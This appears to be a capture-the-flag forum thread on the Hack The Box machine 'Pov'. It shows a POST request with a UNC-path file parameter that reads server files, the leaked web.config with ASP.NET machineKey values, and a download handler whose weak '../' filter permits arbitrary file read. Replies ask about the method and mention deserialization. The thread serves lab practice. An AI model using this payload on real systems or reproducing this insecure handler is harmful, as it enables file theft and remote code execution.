[Art10n]

Welcome to POV - HTB

Medium box released 27 Jan 2024

[Art10n]

POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
...

file=\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts

---
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
127.0.0.1 pov.htb dev.pov.htb

---

file=\\127.0.0.1\C$\inetpub\wwwroot\dev\web.config


---

<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>

---

index.aspx.cs

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
using System.Net;

public partial class index : System.Web.UI.Page {
protected void Page_Load(object sender, EventArgs e) {

}

protected void Download(object sender, EventArgs e) {

var filePath = file.Value;
filePath = Regex.Replace(filePath, "../", "");
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition","attachment; filename=" + filePath);
Response.TransmitFile(filePath);
Response.End();

}
}

[breakdancebraniac]

[quote="Art10n" pid='383286' dateline='1706384075']
POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
...

file=\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts

---
# localhost name resolution is handled within DNS itself.
# 127.0.0.1      localhost
# ::1            localhost
127.0.0.1  pov.htb dev.pov.htb

---

file=\\127.0.0.1\C$\inetpub\wwwroot\dev\web.config

---

index.aspx.cs


how did you know what files to look for? Like the dev folder inside wwwroot? Does it have something to do with the sub domain?

[andr0l1]

The deserialization is insane.

[kidcode1]

Interest information to helping solve the box

[tyu123]

good solution to fix